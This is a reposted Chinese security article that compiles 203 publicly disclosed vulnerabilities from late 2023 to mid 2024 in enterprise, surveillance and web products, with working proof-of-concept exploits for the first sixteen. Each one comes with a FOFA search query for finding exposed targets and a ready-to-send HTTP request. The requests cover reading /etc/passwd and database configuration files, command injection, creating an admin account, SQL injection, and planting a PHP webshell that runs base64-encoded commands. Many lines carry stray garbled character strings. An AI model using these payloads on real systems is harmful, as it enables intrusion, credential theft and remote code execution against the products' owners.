互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
1 l4 u, }: p, d8 f5 C2 Q
6 n; Q% J9 b( [* M, h4 D发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
: X, G7 o/ l3 O- ?% M
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
. v1 C3 j- ?, j+ b5 u  N
. z+ e7 I5 o4 h8 P7 t( X安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
' _, E3 v$ {; Z3 y  a- ~
8 _( H: o. @, Q0 Z& Q文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
# x& ?7 t0 A- ~! x

& t6 f* U) @0 M7 I/ B声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

/ D5 W4 F  i+ n  x2 e, J2 m有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
5 F  ~1 @8 h( j3 K7 J. \" n
  O6 F! O5 X: z9 X

9 n4 z+ ?" F- J9 j7 ]6 y7 h! n目录
; J2 u4 b. v4 t" x! q: I4 R
01
( k8 C9 m. |8 D
4 Q" ]* s& B9 ^% j# D0 j1. StarRocks MPP数据库未授权访问
0 u. u7 D8 d- p# D$ k& q2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
& f8 p( t# T) B+ F( b5. NUUO NVR 视频存储管理设备远程命令执行
5 v% o+ z+ ]. Z$ @6. 深信服 NGAF 任意文件读取
+ n% U$ A# e( |4 v4 [7 {! l7. 鸿运主动安全监控云平台任意文件下载
# T$ b1 H4 [& W* `; y8 l0 B( [. P8. 斐讯 Phicomm 路由器RCE
4 P: h; d8 P* t0 t- e/ {1 q: A9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
: n  {! c* `  I0 }/ T1 C, w; E11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
; u0 _( a. @! V$ ^" \15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
# I6 l% k% K* A( G7 d' W" U17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
, W9 H( V9 l6 X5 i19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
6 E+ ~. v1 r* }5 s( p8 G20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
& {2 @2 {+ c6 Y6 H3 X& P4 _) d22. 大华ICC智能物联综合管理平台 log4j远程代码执行
4 S; U3 t) c( Q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
# U1 U1 A3 G/ R' a: c7 Z: \24. 用友NC 6.5 accept.jsp任意文件上传
+ s3 h3 I5 s: n; h% u) \4 Y25. 用友NC registerServlet JNDI 远程代码执行
9 q4 O' Q5 T, U( \, A  J26. 用友NC linkVoucher SQL注入
3 }* E/ x9 h* c: W3 o( x+ P2 R27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
- i/ i2 A) j+ ~2 O$ R- ^+ k; p* P30. 用友NC importPml SQL注入
0 m) R9 |0 p/ c6 A' ^( ^31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
5 |8 {6 z* H8 j, Y3 Z4 n33. 用友NC downTax/download SQL注入
6 F4 j0 P# W/ D  L34. 用友NC warningDetailInfo接口SQL注入
1 z8 T0 l" |' u35. 用友NC-Cloud importhttpscer任意文件上传
  A1 {& Z% z- M: Z3 Z. Z36. 用友NC-Cloud soapFormat XXE
2 W; ?7 I0 a# S+ _1 p0 n37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
) [9 \9 ?# {0 {4 j42. 用友GRP-U8 SmartUpload01 文件上传
+ `1 J. o- j4 j: ?4 N4 V43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
0 `; f- v3 f& t- c  F46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
% g0 Z$ N( p* |9 E" A& S# p48. 用友U8 CRM swfupload 任意文件上传
7 \. c- w% |. v8 I7 D+ C49. 用友U8 CRM系统uploadfile.php接口任意文件上传
( d5 Y* q2 K, W& ^9 q50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
( g' ]0 c3 \; u53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
% B( Y% c- r" W/ X. S9 w! A, ]4 c56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
. U; ?; L  M* p7 W58. 畅捷通T+ KeyInfoList.aspx sql注入
& w6 I7 s0 s) @& V59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! L, }  o/ H. x! D- I' ^60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
. p# k# g8 [# T7 e62. IP-guard WebServer 远程命令执行
" T! p# i& K7 a0 Q  ^/ W& g63. IP-guard WebServer任意文件读取
' R$ G. ^% [6 n1 D7 p$ x64. 捷诚管理信息系统CWSFinanceCommon SQL注入
: J  u1 w+ U  l+ z65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
- K: V3 J# Q9 T3 h/ ]% j) z; Q66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* u0 g8 x* I% A4 @1 {' z67. 万户ezOFFICE wpsservlet任意文件上传
' f& ^  j/ H& \/ O2 B5 z& {1 Q68. 万户ezOFFICE wf_printnum.jsp SQL注入
) O2 T& w& g' ]2 N$ _7 {69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
3 ^5 I1 N7 B" V7 q0 H  W. F71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
+ V4 I- O/ C' R73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
4 T) `$ Q. R. S: E7 H77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
% r; Y) v8 `. J- l7 b86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
- m! N) [6 x, w' z& x; U88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
& f5 `# B! c3 H9 e+ d89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
! i8 S* x8 W2 {" R) @91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
. A, w, j( |; ^4 F93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
4 q/ S+ w; m& a4 [) t/ J  H( d4 v94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
) X4 D! C: }' b. `4 b3 }3 i95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
, i) H# N. b& H! q- Z  |/ V97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
0 R1 Y% T+ J- ^. L, ^100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
3 h* H1 _+ f# u# K101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
. S) c! u3 }2 e5 ?6 z# B) f8 L104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
' u, d. f6 g" {7 E4 f1 D105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
7 i( e9 ]2 b" F! t( Y& H109. Jenkins CLI 任意文件读取
$ \3 e) _( ?" j- H. d4 h110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
* K  ?4 X* a) v" P* P$ B114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
0 @% S9 k6 c  l% y& ^* e& Q. X120. 北京百绰智能S40管理平台导入web.php任意文件上传
1 s, Z! j( h' n. a121. 北京百绰智能S42管理平台userattestation.php任意文件上传
0 I6 r7 t; X- N! A! i" B! I122. 北京百绰智能s200管理平台/importexport.php sql注入
. ^% q% k1 x0 `" S# p' b; m; i& ?123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
/ I* R- c: t$ f0 y, p8 C! Y125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
! w1 y& p+ |! F/ x9 u128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
* {4 ?% x& [" |133. H5 云商城 file.php 文件上传
& p, R) o% [8 l# U  m5 E5 F4 T" M134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
" i& Y4 G$ Z: c136. NextChat cors SSRF
2 O! H4 s! r8 D/ d# l" j137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
5 X9 o0 J" O. i# B139. 福建科立讯通信指挥调度平台editemedia.php sql注入
" K" }7 {* ~! o/ W, H7 Y, h* e1 D140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
0 o3 [' K( s8 g142. CMSV6车辆监控平台系统中存在弱密码
( U% o& E& X+ P3 a143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
# F# x! ?. Z! o145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 G: Z& p& j+ n7 N$ v. {- l146. MajorDoMo thumb.php 未授权远程代码执行
! v5 D" c( D6 m0 u9 R0 x) ~. R147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
. T( j$ m  e9 m4 c" l" ]149. AJ-Report开源数据大屏存在远程命令执行
. S% E' d/ |  {150. AJ-Report 1.4.0 认证绕过与远程代码执行
' ^) N. k& |) Y, z& y( D4 h151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
2 A% g" T0 i+ G) T! r153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
8 l$ V$ y! y+ u$ I" \; M& O156. TBK DVR-4104/DVR-4216 操作系统命令注入
, [5 h2 J9 [6 q, U/ y, h9 F1 K, i157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
# w# ?" A/ d, G159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
: m) R6 p1 s; C$ S162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
; x. p: F6 u- u, L" x& ]% H164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
3 R! b! [* v8 X, O: D9 ]165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
0 b6 A! Z. z5 i. ?1 T& y168. 宏景EHR OutputCode 任意文件读取
5 |; O) P) x" X2 A; o: I# e& Q" s169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
) x5 [+ H. ^: u1 Q" u# c: F172. DT-高清车牌识别摄像机任意文件读取
# @2 ]3 L6 p& O* p# S  c173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
- s  c* V; ~- M# c175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
+ J& @. A, y1 N" X177. H3C路由器敏感信息泄露
; V% a! y8 _: f% Y$ t# ]178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
) Z2 Y7 a5 x1 R: `) V" }( Q180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
0 b' J- \6 G! j) n( B- d183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
7 t2 q0 n3 J  c$ ?184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
4 Q0 M3 j4 z/ [* O3 w( c7 |. H6 f188. 叁体-佳会视频会议 attachment 任意文件读取
3 n/ o7 L( P8 A% U5 F0 N# q189. 蓝网科技临床浏览系统 deleteStudy SQL注入
. K6 G/ q. G" [: J1 T3 v190. 短视频矩阵营销系统 poihuoqu 任意文件读取
! p0 k; T! z/ K4 R191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
9 x" a9 d: @# W; P4 m1 Y& w( I, B9 K193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
2 T7 M! j! W  q2 `! G& x197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
5 B: z8 [" G/ D; E199. cockpit系统assetsmanager_upload接口 文件上传
: Y- s* K: m" D8 Q( i& R$ ^200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
. g/ c4 h8 d" Z$ S5 j
POC列表

02
% v% }$ r7 D) ?% j/ @: }: V
8 U6 ~4 h' e" d1. StarRocks MPP数据库未授权访问
& I* [* H5 b$ H) }" M- eFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
$ e, n7 W! m0 x

2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
( O1 w! l+ {% @User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
8 E( Y; u9 d# k+ L, \Accept: */*
9 v/ b" i3 j' [2 G: p1 h. ?Accept-Language: en
" h5 \: j, O& s/ `Accept-Encoding: gzip


, c5 F6 T1 u) u# N( {& l1 Q, O5 t3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

$ @" |0 B, _, A
4. EasyCVR视频管理平台存在任意用户添加
) V( \7 k* A  sFOFA ：title="EasyCVR"

password更改为自己的密码md5
( s1 q" i  `9 G( N7 H( c# VPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; _$ m$ d* _( v' {9 F/ j4 Q
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
8 G2 r: ^; z8 |
5 H) K. |9 R) q$ \: G3 G5 r
# f  i$ W+ y5 ^5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
# r! ?1 o4 W4 ?& e& R: i& Z
7 Y! p% i5 H  R4 L+ O( i
/ u( O  A5 S/ E7. 鸿运主动安全监控云平台任意文件下载
  w) c& Q+ p( `FOFA：body="./open/webApi.html"
$ m2 D9 @. O% e7 e# S" @0 d+ r- xGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

0 _: ]0 e/ P/ q$ o  P
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
) W0 s4 M3 x* F4 U; B默认账号admin登录后台后，执行操作
7 O" A7 n& D. ]' u" F' ]) g5 zPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
( t) [0 A  ?, U" f& ~Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" h  h5 z! X0 z; C: i
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
; c" d% w7 S  S* p: Z. h/ X4 P3 _
%s
------WebKitFormBoundaryxbgjoytz
. v6 W* L5 \4 Y. J) ^9 H! z& CContent-Disposition: form-data; name="wifiRebootrange"

( f/ I% X- j# P12:00; id;
" I  D9 ~3 m1 y" K0 C, N------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
) I/ M4 {( Y0 V5 k% T$ Z
: y7 m' r# K! Y6 C" m%s:
------WebKitFormBoundaryxbgjoytz
2 e$ u! d* k0 R  V8 b# mContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--
8 D0 F, j8 E% @$ B7 k) S/ I3 r4 X
4 S$ ]7 v3 S' q! d* S
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
" {$ m* g5 C1 L' _$ `8 J1 I! zHost: x.x.x.x

/ k8 R; _# X' b- S. h$ l
/ z. _$ F9 _8 R' W" Spayload为下列语句的二次Url编码

. }- b! n3 V3 _. f- F- n' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
2 K$ a  Z) n! N0 [) ?
( _( C7 n2 s. G- O$ r2 }6 F10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
7 P, U+ l0 u/ g: _' \
: T* m  x, N- F# c' J文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
1 S& C& m, Y' n6 H. S  x! ZContent-Length: 197
% h- i; t& X( t8 [0 J8 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# a/ v/ X0 W, y$ O# D  YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
8 o, w9 o, J% _- D$ M, MContent-Type: text/html
8 {$ S5 Y. J2 u8 Z  S4 j
" _; b5 A2 j. J- kjmnqjfdsupxgfidopeixbgsxbf
5 ~5 q! _3 r& j! J* |4 y9 O------WebKitFormBoundaryxdgaqmqu--


* }0 q8 V  f4 _- Z11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
: |  a: w0 l0 P' vFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
( L7 _% y! z. E! Z6 dGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ X# y- H4 y) R, Q* jHost: 127.0.0.1
3 J1 L- ], M! ~# V. C0 s1 \Pragma: no-cache
Cache-Control: no-cache
: [7 |! c8 [% Y, [2 QUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  Y, @: ?. C8 n1 QAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
' N2 X+ A) u$ U; a( P/ u' N

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
* H' r% b" E! |% z8 @第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
& Z' g5 i7 }" [* W5 r$ w3 _Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
7 }$ `& q+ }8 EHTTP/1.1 200 OK
Connection: close
9 \9 l8 D7 l/ o+ t% ZCache-Control: no-store, no-cache, must-revalidate
9 l% F( M0 @! D0 _; oContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
) V7 B% f; r9 P* F* J4 KExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
1 @" Q5 L" k, [! hPragma: no-cache
3 G# h0 h$ F. n, U* O* q1 IServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
4 Q" m( C" h8 O! |; H! MSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

' F: V1 _  L, w# A+ t
( `) X$ w7 k2 b3 B4 U" F$ ]1 lPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
& p# x0 S+ e" S% C$ n1 b* Y7 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
' U6 |! J' f( s" zContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
& X/ k# e* t1 h( W" yAccept-Encoding: gzip

/ F9 o6 @7 `0 [" J5 Icsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
3 L1 S$ E5 j+ s
+ n4 s- l- Q, O3 Y/ H
( p' L/ N( a+ @( ?5 y: Q: {
( A" }  N9 |/ Q* L/ z向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 z; y# M- q8 q) H3 \Connection: close
, }: P+ K: i& v) qCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
0 f2 b2 ^, L# X: n% s0 UK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
1 ?" H! Y: z3 G. u# N% K+ H/ PX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
5 n" \8 y" w. ]6 ]
9 n9 {: h9 f! o3 V) ?" _, J7 p
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
* U' y% H) Q% D2 V- B+ J/ ?5 XGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
6 |) T/ G; o; B9 cAccept-Encoding: gzip


7 D, }7 x( s( N# _: b14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
) X% s6 x3 h9 n7 X  bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
% D' E# q( k& uConnection: close
Accept: */*
7 M# N) h  Y( N& s; r- |7 O7 fAccept-Language: en
) y/ X; y& ^" E0 v; XAccept-Encoding: gzip
' E" {. h7 [% c" l( V

% x: f6 ^4 Y7 ]0 N- Z) ]15. 华夏ERP getAllList信息泄露
! v+ U9 V* A/ j6 F* g/ kCVE-2024-0490
8 }8 c' {6 o$ [FOFA：body="jshERP-boot"
1 A9 q. r; L) \. k% ~& P泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
' j+ s# k3 C( FHost: 192.168.40.130:100
" d! s0 e( y+ Y+ Q+ vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
) m+ B+ X$ k% YConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
; S9 B6 [( X1 b7 yAccept-Language: en
; [6 I2 m$ r2 ]8 o: D5 v0 w. hsec-ch-ua-platform: Windows
Accept-Encoding: gzip
: e, v6 Y  n) [% N3 r$ y; W

1 V* H7 w: d, Z4 w8 R3 N16.  红帆HFOffice医微云SQL注入
  j/ K  k+ F0 Y8 q# ?FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
1 x; `0 p/ P% H# V; s' XHost: x.x.x.x
